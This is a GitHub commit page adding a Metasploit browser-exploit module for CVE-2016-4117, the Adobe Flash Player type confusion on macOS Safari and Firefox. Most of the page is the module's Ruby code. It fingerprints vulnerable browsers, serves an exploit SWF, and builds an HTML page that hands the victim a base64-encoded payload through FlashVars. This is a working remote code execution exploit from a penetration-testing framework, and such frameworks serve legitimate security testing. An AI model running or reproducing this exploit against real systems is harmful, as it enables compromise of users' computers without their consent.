Permalink
Browse files

Land #11152, add macOS adobe flash player type confusion RCE

  • Loading branch information...
timwr committed Feb 9, 2019
2 parents 4b74cb6 + 5c1f4a4 commit f589db68318dc5f30d9e2428029b7d4dfde3e2a3
Binary file not shown.
@@ -0,0 +1,127 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
'Description' => %q(
This module exploits a type confusion on Adobe Flash Player, which was
originally found being successfully exploited in the wild. This module
has been tested successfully on:
macOS Sierra 10.12.3,
Safari and Adobe Flash Player 21.0.0.182,
Firefox and Adobe Flash Player 21.0.0.182.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Genwei Jiang', # FireEye original blog details on the vulnerability
'bcook-r7' # Imported Metasploit module
],
'References' =>
[
['CVE', '2016-4117'],
['BID', '90505'],
['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],
['URL', 'http://www.securitytracker.com/id/1035826'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['osx'],
'BrowserRequirements' =>
{
source: /script|headers/i,
os_name: lambda do |os|
os =~ OperatingSystems::Match::MAC_OSX
end,
ua_name: lambda do |ua|
case target.name
when 'Mac OS X'
return true if ua == Msf::HttpClients::SAFARI
return true if ua == Msf::HttpClients::FF
end

false
end,
flash: lambda do |ver|
case target.name
when 'Mac OS X'
return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')
end

false
end
},
'Targets' =>
[
[
'Mac OS X', {
'Platform' => 'osx',
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri.end_with? 'swf'
print_status('Sending SWF...')
send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(3..7)}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)

if target.name.include? 'osx'
platform_id = 'osx'
end
html_template = %(<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>
)

return html_template, binding
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')
File.binread(path)
end
end

0 comments on commit f589db6

Please sign in to comment.